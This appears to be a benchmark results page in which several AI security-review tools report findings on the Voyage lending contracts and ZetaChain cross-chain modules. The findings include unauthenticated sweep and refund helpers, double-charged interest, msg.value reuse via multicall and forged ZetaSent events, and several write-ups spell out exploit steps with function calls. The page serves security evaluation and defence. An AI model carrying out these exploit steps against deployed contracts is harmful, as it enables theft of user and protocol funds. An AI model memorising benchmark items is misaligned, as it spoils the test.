Authenticate RelayHub explicitly at both relay callbacks before processing inputs. Encode validated vault context consistently using abi.encode, and accept refund accounting only from authenticated relay execution.
-
Functions cannot be removed during upgrades voyage-13 · 2 writeups Medium
V12
Removed selectors are omitted from upgrade differences
contracts/voyage/facets/DiamondVersionFacet.sol:49Predicted severity: Informational- Root cause
-
getUpgradenever populatesexistingSelectors, although the Remove loop enumerates that array. Current-inventory selectors are recorded in the wrong key registry, making removal classification unreachable from default workspace state. - Impact
-
The returned comparison can leave a retired selector callable if its cuts are used to reconcile a diamond against the registered snapshot. That security consequence remains unresolved because no returned-cut application path was found in contracts, deploy, tests, scripts, or helpers; the exact missing fact is whether security-sensitive selector revocation relies on this result rather than independently prepared cuts.
- Description
-
The current loupe inventory is appended to
newSelectors, not toexistingSelectors. Consequently,existingSelectorsremains empty under every writer found in the repository, and the entire Remove-classification loop is skipped. A supplied inventory containing an extra selector alongside unchanged snapshot selectors therefore returns an empty cut list instead of a removal. The same result occurs for a nonempty vault inventory with no registered snapshot at version zero, or with an explicitly empty snapshot. This failure occurs on a successful transaction and is independent of the out-of-bounds writes in the Add and Replace branches.
Pashov (Claude Opus 5.5 high)
DiamondVersionFacet.getUpgrade is broken: writes past array bounds, never records existing selectors, leaves stale state
contracts/voyage/facets/DiamondVersionFacet.sol:30Predicted severity: Low- Root cause
-
Wrong array used and indexed assignment instead of push on storage arrays.
- Impact
-
The upgrade helper always reverts or returns incorrect cuts (never removing deprecated/vulnerable selectors), and leftover per-sender state corrupts subsequent computations.
- Description
-
getUpgrade (public, unauthenticated, state-mutating) pushes the current facets' selectors into
newSelectorsinstead ofexistingSelectors, so selectors to remove are never computed andexistingSelectorFacetMapentries are never cleaned (cleanUpgradeParam iterates the empty existingSelectors). It writesfacetCuts[facetCutSize] = facetCuton a storage array without push, which reverts with an out-of-bounds panic whenever any cut is needed. newSelectorSet entries for snapshot selectors are never cleared. - Exploit scenario
-
Calling getUpgrade(vault) with a snapshot that adds any selector reverts with panic 0x32.
- Recommendation
-
Push to existingSelectors, use push() for facetCuts, and clean all helper mappings.
-
Missing access control on multiple PaymentsFacet functions voyage-14 · 8 writeups High
V12
First installment interest is charged twice
contracts/voyage/facets/LoanFacet.sol:208Predicted severity: High- Root cause
-
buyNowincludes interest in its collected downpayment but also funds interest distribution with another borrower transfer instead of the already-collected funds. The excess remains in a shared diamond balance exposed to permissionless refunds. - Impact
-
A successful borrowing transaction charges the borrower an extra first-installment interest amount that is not credited against debt. Any external caller can collect the residual ETH from the diamond, creating conditional borrower fund loss whenever installment interest is nonzero.
- Description
-
buyNowsetsparams.downpaymentto the complete first installment, including both principal and interest. It collects that amount throughmsg.valueand/or a currency transfer into the diamond, then unwraps the diamond's entire WETH balance and sends only the purchase principal to the vault. After recording the first repayment, it callsLibLoan.distributeInterest, which separately pulls the same installment interest from the borrower into the tranche tokens. For a WETH reserve with no preexisting diamond balance, the purchase funding therefore leaves exactly the first installment's interest as residual ETH while additionally charging that interest in WETH. The residual is not assigned to the borrower and can be taken through the publicrefundETHhelper.
Codex Security (GPT-6 Sol)
Any caller can sweep assets from the Voyage diamond
contracts/shared/facets/PaymentsFacet.sol:35Predicted severity: High- Root cause
-
PaymentsFacetexposessweepToken,unwrapWETH9, andrefundETHwithout authorization; inheritedapprovelikewise grants a caller-selected spender an allowance. The deployed diamond includes this facet. - Impact
-
Any balance retained or present during a reachable callback can be stolen or made spendable by an attacker. Likelihood is medium under the stated prerequisites.
- Description
-
Public payment helpers let an arbitrary caller move the diamond's ERC20, WETH, or ETH balance and grant an arbitrary ERC20 spender allowance.
- Exploit scenario
-
contracts/shared/facets/PaymentsFacet.sol:35 to deploy/001_voyager.ts:132
- Recommendation
-
Restrict sweeping and approval to authorized recovery flows; make internal payment helpers non-public or bind recipients and amounts to an operation.
Pashov (Claude Opus 5.5 high)
PaymentsFacet sweepToken / refundETH / unwrapWETH9 / approve allow anyone to drain or misuse assets held by the diamond
contracts/shared/facets/PaymentsFacet.sol:15Predicted severity: High- Root cause
-
Unauthenticated payment helpers in a contract that persistently custodies funds.
- Impact
-
Any ETH/ERC20 left in the diamond (e.g. the surplus interest from every buyNow) can be stolen by anyone; anyone can set arbitrary allowances from the diamond (also able to reset the vToken approvals to 0, breaking deposits).
- Description
-
PaymentsFacet exposes
sweepToken,refundETH,unwrapWETH9,wrapWETH9and PeripheryPayments.approvepublicly on the diamond with no authorisation. These are Uniswap-periphery style helpers that assume the contract never holds funds between transactions, but the Voyage diamond does hold funds: in buyNow the down-payment includes the first instalment's interest which is pulled again by distributeInterest, leaving ETH in the diamond; liquidation proceeds, rounding remainders, mistakenly sent tokens, etc.approveadditionally lets anyone make the diamond approve an arbitrary spender for any token it holds. - Exploit scenario
-
After a borrower calls buyNow, the diamond retains
pmt.interestworth of ETH (down-payment includes interest which is also separately transferred to the tranches). Attacker callsrefundETH()and receives the diamond's entire ETH balance, orsweepToken(WETH,0,attacker)for WETH; orapprove(WETH, attacker, max)then transferFrom. - Recommendation
-
Restrict these helpers to internal use or to authorised callers; never leave value in the diamond between transactions.
Pashov (Codex GPT-6 Sol high)
Permissionless payment functions can sweep diamond assets
audit/contracts/shared/facets/PaymentsFacet.sol:15Predicted severity: High- Root cause
-
Payment functions have no caller authorization and use the diamond as the asset source.
- Impact
-
Any assets temporarily or persistently held by the Voyage diamond can be stolen.
- Description
-
The diamond exposes unrestricted functions that transfer its entire ETH, WETH, or ERC20 balance to a caller-selected recipient. The inherited public approve function also lets callers grant themselves a spend allowance over those balances.
- Exploit scenario
-
An attacker calls sweepToken(token,0,attacker) or unwrapWETH9(0,attacker) while the diamond holds user funds.
- Recommendation
-
Restrict sweep and unwrap to an authorized role or remove them from the public diamond interface.
Devin Security
Unauthenticated sweepToken, unwrapWETH9, refundETH and approve let anyone take funds held by the diamond
contracts/shared/facets/PaymentsFacet.sol:15Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can take any ETH or tokens that sit in the Voyage diamond, but the normal flows move funds out within the same transaction, so this mostly exposes stray or stuck balances.
##### What's wrong
These are missing access checks.
sweepToken,unwrapWETH9andrefundETHsend the diamond's whole token or ETH balance to a caller-chosen recipient (or to the caller). The inheritedapprovelets any caller make the diamond approve any spender for any token. None of them has a modifier. They are Uniswap router helpers, but the Voyage diamond is not a stateless router: LoanFacet usesunwrapWETH9internally and liquidation and buyNow route funds through the diamond's balance.##### Who can do it
Alice, a user, sends WETH to the diamond by mistake, or a liquidation refund leaves dust behind. Mallory, an anonymous caller, calls
sweepToken(WETH, 0, Mallory)orapprove(WETH, Mallory, max)and thentransferFrom.- The diamond holds a token or ETH balance at the moment Mallory calls.
##### What they get
Mallory takes the diamond's full balance of any token or ETH. In the current code the main flows (buyNow, liquidate) spend what they pull in the same transaction, so the exposed amount is usually limited to stray or leftover funds. Because
multicalldelegatecalls the diamond, a payable call inside it also sees the samemsg.valueon every subcall, which makes any ETH the diamond holds usable as a free downpayment in a batchedbuyNow.##### How it works
1. PaymentsFacet.sweepToken at contracts/shared/facets/PaymentsFacet.sol:35-46 transfers the full balance to
recipientwith no auth.2. unwrapWETH9 at lines 15-28 unwraps all WETH and sends the ETH to
recipient.3. refundETH at lines 48-52 sends all ETH to
msg.sender.4. PeripheryPayments.approve lets the caller set any allowance from the diamond.
- Exploit scenario
-
Not specified.
- Recommendation
-
Restrict these helpers to internal callers with
require(msg.sender == address(this))or the existingauthorisedmodifier, and keep LoanFacet's internal use working. Add tests that an external caller cannot sweep, unwrap, refund or approve from the diamond.
Devin Security (Deep)
buyNow charges the first instalment's interest twice and leaves one copy on the diamond where anyone can take it
deployments/rinkeby/solcInputs/8683a2c35133ff397846d93c3e914ec7.json:245Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Every borrower overpays the first interest instalment, and the extra ETH sits on the Voyage diamond where anyone can sweep it with refundETH.
##### What's wrong
This is an accounting mistake in the payment flow. The down payment pulled from the borrower is
pmt.pmt(principal plus interest), the diamond unwraps all its WETH and forwards onlytotalPrincipalto the vault, leavingpmt.interestas ETH on the diamond, anddistributeInterestthen pullspmt.interestfrom the borrower again. This artifact'sbuyNowmatches the currentcontracts/tree.##### Who can do it
Bob borrows 9 ETH over 3 instalments;
buyNowtakes 3.15 ETH down and another 0.15 ETH as interest, leaving 0.15 ETH on the diamond. Mallory callsrefundETH()on the diamond right after.- Any
buyNowhas happened and the diamond has not been swept.-
PaymentsFacet.refundETH/unwrapWETH9are public.##### What they get
Mallory collects one instalment of interest from every loan, paid by borrowers; any WETH on the diamond at the time is also unwrapped and exposed.
##### How it works
1.
downpayment = pmt.pmtis pulled (contracts/voyage/facets/LoanFacet.sol:209, 227-237).2.
unwrapWETH9unwraps the whole WETH balance (contracts/voyage/facets/LoanFacet.sol:250-259, contracts/shared/facets/PaymentsFacet.sol:15-28).3. Only
totalPrincipalETH is sent to the vault (contracts/voyage/facets/LoanFacet.sol:261).4.
distributeInterestpullspmt.interestagain (contracts/voyage/facets/LoanFacet.sol:285-289).5. Anyone calls
refundETH()(contracts/shared/facets/PaymentsFacet.sol:48-52). - Exploit scenario
-
Not specified.
- Recommendation
-
Pull only
pmt.principalas the down payment (or drop the second interest pull), unwrap exactlyoutstandingPrincipal, and assert the diamond's ETH balance is unchanged at the end ofbuyNow. Verify: diamond ETH/WETH balances are zero afterbuyNow.
Claude Security (Sonnet 5.5)
PaymentsFacet sweep, refund and unwrap functions, and PeripheryPayments.approve, are unauthenticated and let anyone take or approve anything the diamond holds
contracts/shared/facets/PaymentsFacet.sol:48Predicted severity: Medium- Root cause
-
Vulnerable symbol: PaymentsFacet.refundETH
Preconditions: The diamond holds a non-zero ETH or token balance (accumulates through buyNow as described above)
Offending code:
function refundETH() external payable {
- Impact
-
Loss of any funds that rest in the diamond (leftover ETH, tokens, WETH residue) to arbitrary callers. The amounts are bounded by what the diamond holds at the moment of the call.
- Description
-
refundETH,sweepToken,unwrapWETH9andPeripheryPayments.approvehave no access control.refundETHsends the diamond's whole ETH balance tomsg.sender.sweepTokensends any token balance to a caller-chosen recipient.unwrapWETH9unwraps all WETH to an arbitrary recipient.approve(token, to, amount)makes the diamond approve any spender for any token. - Exploit scenario
-
After buyNow calls, the diamond keeps the leftover ETH from the interest share of each downpayment. An attacker calls
refundETH()and collects the balance. The attacker can also callapprove(token, attacker, max)followed bytransferFrom, or callsweepToken, to take any other token or WETH residue the diamond holds, such as liquidation proceeds in flight or rounding dust. - Recommendation
-
Make these helpers internal or restrict them to
msg.sender == address(this)orauthorised. Removeapprove. Fix buyNow so the interest share of the downpayment is routed to the tranches rather than left in the diamond.
Claude Security (Opus 5.5)
refundETH, unwrapWETH9 and sweepToken let anyone take the diamond's accumulated ETH, WETH and token balances
contracts/shared/facets/PaymentsFacet.sol:48Predicted severity: Medium- Root cause
-
Vulnerable symbol: refundETH
Preconditions: The diamond holds a non-zero ETH, WETH or token balance. ETH accrues from every buyNow.
Offending code:
function refundETH() external payable {
- Impact
-
Theft of all ETH, WETH and ERC20 balances held by the Voyage diamond, including the interest portion of every buyNow downpayment.
- Description
-
refundETH sends the diamond's entire ETH balance to msg.sender, with no check that the caller deposited it. unwrapWETH9(0, attacker) and sweepToken(token, 0, attacker) send the entire WETH or token balance to a caller-chosen recipient. LoanFacet.buyNow leaves ETH in the diamond on every loan, and these functions let anyone collect it.
- Exploit scenario
-
After users take loans with buyNow, the diamond holds one installment of interest per loan as ETH. Any address calls diamond.refundETH() and receives the full balance. Any WETH or ERC20 sent to the diamond can likewise be taken with unwrapWETH9(0, attacker) or sweepToken(token, 0, attacker).
- Recommendation
-
Restrict these helpers to internal use or to authorised callers, and let msg.sender recover only the msg.value it sent within the same call. Also fix buyNow so that the leftover downpayment is forwarded to the tranches instead of staying in the diamond.
-
Multicall can be used to call buyNow with untrusted msg.value voyage-15 · 4 writeups High
V12
Multicall reuses native downpayment across purchases
contracts/voyage/facets/LoanFacet.sol:226Predicted severity: Medium- Root cause
-
buyNowtreats transaction-levelmsg.valueas a fresh payment per delegatecalled invocation. Payable multicall provides no per-subcall value accounting, and shared residual ETH can mask the resulting funding deficit. - Impact
-
A borrower can avoid one purchase's principal downpayment when repeated subcalls reuse
msg.valueand the first purchase's residual covers the second purchase's ETH shortfall. This is conditional on sufficient residual interest or other existing diamond ETH, and results in value leakage through falsely credited first payments. - Description
-
buyNowacceptsmsg.valueas the downpayment for each invocation without consuming or tracking it, while the payments facet exposes a payable delegatecall multicall. Each subcall consequently observes the same outermsg.valueeven though ETH entered the diamond only once. Multiple purchases ordinarily revert on insufficient remaining ETH, but the first purchase leaves its included installment interest in the diamond, which can fund a later subcall's principal contribution. Accepted long-term schedules can produce installment interest at least as large as installment principal, making two such purchases complete using one ETH downpayment. Each purchase still receives the full principal and is recorded as having made its first payment.
Pashov (Claude Opus 5.5 high)
msg.value reuse through payable multicall lets borrowers fund multiple buyNow down-payments with one payment
contracts/shared/util/Multicall.sol:12Predicted severity: High- Root cause
-
msg.value-based accounting inside a function reachable through a delegatecall-based payable multicall.
- Impact
-
Borrowers obtain loans without paying the down-payment, draining ETH held by the diamond and leaving the protocol under-collateralised.
- Description
-
PaymentsFacet exposes Multicall, whose
multicallis payable and delegatecallsaddress(this)for each sub-call. Every delegatecall observes the samemsg.value.buyNowis payable and accepts the down-payment asmsg.value(if downpayment <= msg.value require(downpayment == msg.value)). Batching N buyNow calls with msg.value = downpayment satisfies the check N times while ETH is only sent once; the remaining ETH sent to vaults (safeTransferETH(vault, totalPrincipal)) is taken from the diamond's ETH balance (e.g. the interest surplus left by previous buyNows or any other ETH held). - Exploit scenario
-
Diamond holds 5 ETH of accumulated surplus. Attacker calls
multicall([buyNow(A,...), buyNow(B,...)])with value = downpayment of each (equal). Both calls accept msg.value; the second loan's down-payment principal is paid using the diamond's 5 ETH. - Recommendation
-
Make multicall non-payable or track consumed ETH explicitly; do not rely on msg.value inside multicall-able functions.
Devin Security
Unauthenticated sweepToken, unwrapWETH9, refundETH and approve let anyone take funds held by the diamond
contracts/shared/facets/PaymentsFacet.sol:15Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can take any ETH or tokens that sit in the Voyage diamond, but the normal flows move funds out within the same transaction, so this mostly exposes stray or stuck balances.
##### What's wrong
These are missing access checks.
sweepToken,unwrapWETH9andrefundETHsend the diamond's whole token or ETH balance to a caller-chosen recipient (or to the caller). The inheritedapprovelets any caller make the diamond approve any spender for any token. None of them has a modifier. They are Uniswap router helpers, but the Voyage diamond is not a stateless router: LoanFacet usesunwrapWETH9internally and liquidation and buyNow route funds through the diamond's balance.##### Who can do it
Alice, a user, sends WETH to the diamond by mistake, or a liquidation refund leaves dust behind. Mallory, an anonymous caller, calls
sweepToken(WETH, 0, Mallory)orapprove(WETH, Mallory, max)and thentransferFrom.- The diamond holds a token or ETH balance at the moment Mallory calls.
##### What they get
Mallory takes the diamond's full balance of any token or ETH. In the current code the main flows (buyNow, liquidate) spend what they pull in the same transaction, so the exposed amount is usually limited to stray or leftover funds. Because
multicalldelegatecalls the diamond, a payable call inside it also sees the samemsg.valueon every subcall, which makes any ETH the diamond holds usable as a free downpayment in a batchedbuyNow.##### How it works
1. PaymentsFacet.sweepToken at contracts/shared/facets/PaymentsFacet.sol:35-46 transfers the full balance to
recipientwith no auth.2. unwrapWETH9 at lines 15-28 unwraps all WETH and sends the ETH to
recipient.3. refundETH at lines 48-52 sends all ETH to
msg.sender.4. PeripheryPayments.approve lets the caller set any allowance from the diamond.
- Exploit scenario
-
Not specified.
- Recommendation
-
Restrict these helpers to internal callers with
require(msg.sender == address(this))or the existingauthorisedmodifier, and keep LoanFacet's internal use working. Add tests that an external caller cannot sweep, unwrap, refund or approve from the diamond.
Devin Security (Deep)
Anyone can sweep ETH and tokens held by the Voyage diamond, which accumulates double-charged borrower interest
contracts/shared/facets/PaymentsFacet.sol:15Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can take whatever ETH or tokens sit in the Voyage contract, and the contract steadily collects borrowers' overpaid interest, so that money is lost to the first person who grabs it.
##### What's wrong
This is a set of unauthenticated treasury functions combined with a double charge.
refundETH,sweepToken,unwrapWETH9andapproveinPaymentsFacethave no access control and operate on the diamond's own balances. Separately,buyNowcollects the first installment's interest inside the down payment and then charges the same interest again indistributeInterest, leaving the first copy as ETH inside the diamond.##### Who can do it
Alice, a borrower at Acme, calls
buyNow; the diamond keeps her first-period interest as ETH after forwarding the purchase price to her vault. Mallory, anyone watching the chain, callsrefundETH()on the diamond and receives that ETH.multicallalso lets a caller reuse onemsg.valueacross several payable calls, so any ETH the diamond holds can also be spent as someone else's down payment.- The diamond holds any ETH or ERC20 balance, which happens after every
buyNowor when funds are sent to it by mistake.##### What they get
Mallory takes the diamond's whole ETH balance (and, via
sweepToken, any token balance) to her own wallet. The amount per purchase is one installment of interest per borrower, and it grows with protocol volume. Borrowers have already lost this money because they were charged twice. Withapprove(WETH, vToken, 0)she can also reset the diamond's allowance to a tranche token and breakdeposituntil someone re-approves.##### How it works
1.
buyNowsetsdownpayment = pmt.pmt(principal plus interest for one installment) and pulls it from the borrower (contracts/voyage/facets/LoanFacet.sol:209, 227-237).2. It unwraps all diamond WETH and sends only
totalPrincipalto the vault (lines 256-261), leavingpmt.interestworth of ETH in the diamond.3.
distributeInterestthen pullspmt.interestfrom the borrower a second time (lines 285-289;LibLoan.sol:427-447).4. Mallory calls
refundETH()(contracts/shared/facets/PaymentsFacet.sol:48-52), which sends the diamond's full ETH balance tomsg.sender;sweepToken(lines 35-46),unwrapWETH9(lines 15-28) andapprove(PeripheryPayments.sol:23-29) are equally open.5.
Multicall.multicall(Multicall.sol:12-35) delegatecalls payable functions in a loop with the samemsg.value, so diamond-held ETH can also cover repeatedbuyNowdown payments.The same code is embedded in the deployment artifact
deployments/rinkeby/solcInputs/8683a2c35133ff397846d93c3e914ec7.json. - Exploit scenario
-
Not specified.
- Recommendation
-
Restrict
refundETH,sweepToken,unwrapWETH9andapprovetomsg.sender == address(this)or an authorised role, and makeunwrapWETH9unwrap only the requested amount. InbuyNow, either stop collecting interest in the down payment or forward the collected interest to the tranches instead of callingdistributeInterestfrom the borrower a second time. Removemulticallor make the payable paths checkmsg.valueonly once. Verify with a test that the diamond's ETH and WETH balances are zero afterbuyNowand thatrefundETHfrom a stranger reverts.
-
Lack of reentrancy guards voyage-16 · 1 writeup Medium
V12
Callbacks can consume loans during purchase initialization
contracts/voyage/facets/LoanFacet.sol:201Predicted severity: Informational- Root cause
-
Creation and repayment share mutable loan storage without a shared lock or lifecycle marker protecting the interval between debt insertion and the outer first repayment.
- Impact
-
Conditional on an admitted callback-capable currency and enough native/WETH funding to complete the hardwired payment step, nested repayment can release the collateral lien before the outer purchase finishes and corrupt debt mirrors. The exact net extraction depends on the token's transfer hooks, funding balances, and marketplace settlement; the source-backed deletion/reuse race is distinct from the absence of a lock alone.
- Description
-
buyNowregisters its loan before collecting user funds or drawing senior liquidity, and performsfirstRepayonly after marketplace execution. Token transfers during that interval can invoke an ERC777 sender hook, while the loan facet has no reentrancy lock. A contract borrower can call ordinaryrepayfrom its downpayment sender hook twice on a three-installment loan. The second nested repayment clears and deletes the loan, but the outerbuyNowcontinues funding and executing the purchase. It then reads a zero PMT and performsfirstRepayagainst the deleted record instead of verifying that its original loan still exists.
-
-
Zetachain Go ZetaChain cross-chain modules. Tasks 12 V12 11/12 Codex Sec 4/12 Pashov Opus — Pashov GPT-6 — Devin 5/12 Devin (Deep) 8/12 Claude Sec 10/12 Claude Opus 8/12 Vercel 3/12
ZetaChain cross-chain modules.
Read the audit report-
Any ZetaSent events are processed regardless of what contract emits them zetachain-1 · 7 writeups Critical
V12
Forged connector events authorize external treasury payments
x/crosschain/keeper/evm_hooks.go:38Predicted severity: High- Root cause
-
Event decoding is mistaken for emitter authentication. The Go hook grants connector-level payment authority to any contract capable of emitting the same event shape.
- Impact
-
When the fungible module holds sufficient ZETA, a forged event can conditionally spend that module balance to authorize an external ZETA payment chosen by the caller. This is a producer-side authorization failure reaching u4; its amount is bounded by the module balance accepted by
BurnCoins, not by a demonstrated caller-funded connector deposit. - Description
-
The ZEVM post-processing hook parses every receipt log as a possible
ZetaSentevent without checking its emitter against the deployed connector.ParseZetaSentEventconstructs a filterer using the log's own address, so the parser does not supply a trusted-emitter boundary. A caller-deployed contract can emit the same event signature and fields, causingProcessZetaSentEventto burn the specified value from the fungible module and create a PendingOutbound ZETA CCTX. The signer treats that CCTX as ZetaChain-origin and signs an external connector payment to the emitted destination. Unlike the genuine connector, the emitting contract need not have transferred wrapped ZETA into the module before creating that event.
Codex Security (GPT-6 Sol)
Forged ZetaSent logs can authorize an unfunded outbound
x/crosschain/keeper/evm_hooks.go:47Predicted severity: Medium- Root cause
-
The hook iterates every receipt log and parses ZetaSent using the log's own address. It never compares that address with the registered connector. Event amount and destination then drive a module burn and outbound CCTX.
- Impact
-
The unauthorized event path is reachable to any zEVM contract caller, but a positive payout requires an existing fungible module balance, which is not established as routine.
- Description
-
Any successful zEVM contract can emit a ZetaSent-shaped log; the receipt hook accepts it without checking the registered connector and can burn existing fungible module balance to create an outbound CCTX.
- Exploit scenario
-
The hook iterates every receipt log and parses ZetaSent using the log's own address. It never compares that address with the registered connector. Event amount and destination then drive a module burn and outbound CCTX.
- Recommendation
-
Compare the log emitter with the trusted connector address held in module state and bind the event to the connector's funded transfer.
Devin Security
ZetaSent events are accepted from any ZEVM contract, letting anyone spend the fungible module's ZETA on outbound transfers
x/crosschain/keeper/evm_hooks.go:47Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can send a ZEVM transaction can make the chain burn ZETA held by the fungible module and send that ZETA to an address they choose on an external chain, up to whatever balance the module holds.
##### What's wrong
This is event spoofing. The post-transaction hook trusts a
ZetaSentlog based only on its event signature. It never checks that the log came from the systemZetaConnectorZEVMcontract. The ZRC20 withdrawal path does check the emitter against the foreign coin list. The ZETA path does not.##### Who can do it
Alice runs a ZetaChain validator. Mallory has an ordinary ZEVM account with enough gas. Mallory deploys a contract that declares the same
ZetaSentevent as the connector. She calls it to emitZetaSentwithzetaValueAndGasequal to the fungible module's native ZETA balance. She sets the destination to her own address on a supported external chain. She does not transfer any ZETA to the module.- Mallory can send any ZEVM transaction. Deploying a contract is permissionless.
- The fungible module account (
0x735b14BB79463307AAcBED86DAf3322B1e6226aB) holds a native ZETA balance at the end of her transaction. Examples are a donation, a mistaken transfer, or leftover funds.- The destination chain is supported and has a gas price and chain nonce set.
##### What they get
The chain burns the module's ZETA and creates a pending outbound transfer. The TSS signers then release the same amount of ZETA to Mallory on the external chain. She takes funds that belong to the protocol, or to whoever sent them to the module. The loss is limited to the module's balance when her transaction ends. Each legitimate connector send is burned in its own transaction, so it does not leave funds behind. ZETA in other accounts is not exposed.
##### How it works
1. Ethermint calls
PostTxProcessingfor every ZEVM transaction because the crosschain keeper is registered as the EVM hook inapp/app.go:445.2.
PostTxProcessingpasses every log in the receipt toParseZetaSentEvent(x/crosschain/keeper/evm_hooks.go:54).3.
ParseZetaSentEventbuilds a filterer aroundlog.Address, whatever contract that is. abigen'sUnpackLogchecks only the event signature topic (evm_hooks.go:177-188).4.
ProcessZetaSentEventburnsevent.ZetaValueAndGasfrom thefungiblemodule account. It never checks that the log came from the connector or that ZETA arrived in this transaction (evm_hooks.go:120).5. It then builds a cross-chain transaction to the destination chain and address from the event and stores it as pending outbound (
evm_hooks.go:124-137). The TSS signers then send the funds. - Exploit scenario
-
Not specified.
- Recommendation
-
Process
ZetaSentonly whenlog.Addressequals the stored systemZetaConnectorZEVMaddress, and ignore it otherwise. Track how much native ZETA the module receives in each transaction, and never burn more than that. Add a unit test where a contract that is not the connector emits a well-formedZetaSentlog. The test should check that no coins are burned and no cross-chain transaction is created.
Devin Security (Deep)
EVM hook accepts ZetaSent events from any contract, letting an attacker burn the fungible module's ZETA and withdraw it to a foreign chain
x/crosschain/keeper/evm_hooks.go:47Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can deploy a contract on ZetaChain's EVM can emit a fake ZetaSent event and make the protocol pay out whatever ZETA the fungible module account holds at that moment, without depositing anything.
##### What's wrong
This is a missing event authenticity check. The hook parses every log in every EVM receipt as a ZetaSent event and never checks that the log came from the system
ZetaConnectorZEVMcontract. The parallel ZRC20 withdrawal path does check the emitting address against registered coins, but the ZETA path does not.##### Who can do it
Mallory deploys a contract on the ZetaChain EVM. Her contract reads the fungible module address balance, then emits an event with the exact
ZetaSentsignature carrying that amount, her Ethereum address, and chain id 1. She never calls the real connector and never transfers any WZETA.- Mallory needs a ZetaChain account with enough ZETA for EVM gas.
- The fungible module account must hold some ZETA; it accumulates dust from pool setup on low decimal chains and anything sent to its address, and the attacker can read the balance on chain to size the claim exactly.
- Gas price and nonce records must exist for the destination chain, which is true for every supported chain in normal operation.
##### What they get
The chain burns the claimed amount from the fungible module account and creates a pending outbound transfer, so the TSS signers send Mallory that much ZETA on Ethereum. Mallory receives protocol owned ZETA she never paid for, and the protocol also pays Ethereum gas for the outbound. The amount per attack is limited to the module account balance at the time, so the theft is capped at what the protocol lets accumulate there, but Mallory can repeat it whenever the balance is non zero. She cannot take other users' balances directly because legitimate sends are burned in the same transaction they arrive.
##### How it works
1. Mallory's contract emits a log whose first topic is the
ZetaSentevent id and whose data encodeszetaValueAndGasequal to the fungible module balance.2.
PostTxProcessingatx/crosschain/keeper/evm_hooks.go:47-60iterates all receipt logs and callsParseZetaSentEventon each one.3.
ParseZetaSentEventat lines 177-188 binds a filterer tolog.Address, whatever it is, and only checks the event signature, so the fake log parses successfully.4.
ProcessZetaSentEventat line 120 burnsevent.ZetaValueAndGasfrom thefungiblemodule account with no check that the funds came from the connector.5. Lines 124-137 create a
CrossChainTxfor the full amount to Mallory's address on the destination chain andProcessCCTXassigns a nonce, so zetaclient signers pay it out. - Exploit scenario
-
Not specified.
- Recommendation
-
Record the system
ZetaConnectorZEVMaddress when it is deployed (alongside the system contract address in the fungible module state) and inPostTxProcessingonly callProcessZetaSentEventwhenlog.Addressequals that stored address. Verify by deploying a test contract that emits a ZetaSent shaped event and asserting the hook ignores it (no burn, no CCTX), while a realZetaConnectorZEVM.sendstill produces a CCTX.
Claude Security (Sonnet 5.5)
ZetaSent event from any contract triggers a burn of fungible-module ZETA and a cross-chain transfer (emitter address not validated)
x/crosschain/keeper/evm_hooks.go:120Predicted severity: Low- Root cause
-
Vulnerable symbol: Keeper.ProcessZetaSentEvent
Preconditions: The fungible module account holds a non-zero native balance at the time of the attacker's tx; The attacker can deploy a contract on ZetaChain's EVM
Offending code:
if err := k.bankKeeper.BurnCoins(ctx, "fungible", sdk.NewCoins(sdk.NewCoin(config.BaseDenom, sdk.NewIntFromBigInt(event.ZetaValueAndGas)))); err != nil {
- Impact
-
Anyone can convert whatever native ZETA sits on the fungible module account into a cross-chain release to an address of their choice, and can burn it. Because a legitimate send burns its own funds in the same tx, the exposed amount is limited to pre-existing module balance, which I could not determine. The weakness also lets an arbitrary contract create cctxs whose recorded sender is the tx target rather than an authenticated connector call.
- Description
-
PostTxProcessing runs ParseZetaSentEvent on every log of every EVM tx. The generated parser only matches the topic and ABI shape, so a log emitted by any contract is accepted, with no check that the emitter is the deployed ZetaConnectorZEVM. ProcessZetaSentEvent then burns the attacker-chosen ZetaValueAndGas from the fungible module account and creates a PendingOutbound cctx to the attacker-chosen destination. By contrast, ProcessZRC20WithdrawalEvent does check event.Raw.Address against the registered ZRC20 list.
- Exploit scenario
-
The attacker deploys a contract on ZetaChain that declares and emits ZetaSent(sourceTxOrigin, sender, destChainId, destAddress, N, gasLimit, message, params) with destAddress set to their own address on a supported chain. If the fungible module account (0x735b14BB...) holds at least N azeta, the hook burns N and creates a pending outbound that the TSS fulfils on the destination chain. The attacker needs no WZETA and never calls the real connector. The module balance may come from ZETA sent directly to that address, leftover liquidity refunds or genesis balances. The hook errors, and the attacker's tx reverts, if the balance is less than N.
- Recommendation
-
In PostTxProcessing and ProcessZetaSentEvent, require log.Address to equal the registered ZetaConnectorZEVM address and reject other emitters. Do this before BurnCoins and before any CCTX creation. Apply the same emitter allow-list to ProcessWithdrawalLogs.
Claude Security (Opus 5.5)
ZetaSent events are accepted from any contract, so anyone can burn and claim the fungible module's native ZETA as a cross-chain transfer
x/crosschain/keeper/evm_hooks.go:54Predicted severity: Medium- Root cause
-
Vulnerable symbol: (Keeper).PostTxProcessing
Preconditions: The fungible module holds native ZETA, e.g. stranded by deposit-and-call flows
Offending code:
eZeta, err := ParseZetaSentEvent(*log)
- Impact
-
Other users' stranded ZETA in the fungible module can be stolen.
- Description
-
PostTxProcessing parses ZetaSent by topic only and never checks that log.Address is the system ZetaConnectorZEVM. The ZRC20 path, by contrast, checks the emitter against registered ZRC20s. Any contract can emit ZetaSent with an arbitrary value. ProcessZetaSentEvent burns that amount from the fungible module and creates an outbound CCTX to the attacker.
- Exploit scenario
-
Native ZETA builds up in the fungible module, for example when a deposit-and-call target calls ZetaConnectorZEVM.send (its ZetaSent log is ignored by HandleEVMDeposit) or when ZETA is sent there directly. The attacker deploys a contract that emits ZetaSent(zetaValueAndGas = fungible balance, destinationChainId = Ethereum, destinationAddress = attacker). The hook burns the stranded ZETA and the TSS releases that amount to the attacker on Ethereum.
- Recommendation
-
Only process ZetaSent logs whose Address equals the registered ZetaConnectorZEVM. Also process ZetaSent logs in the HandleEVMDeposit path, or reject them there.
Vercel Security Review
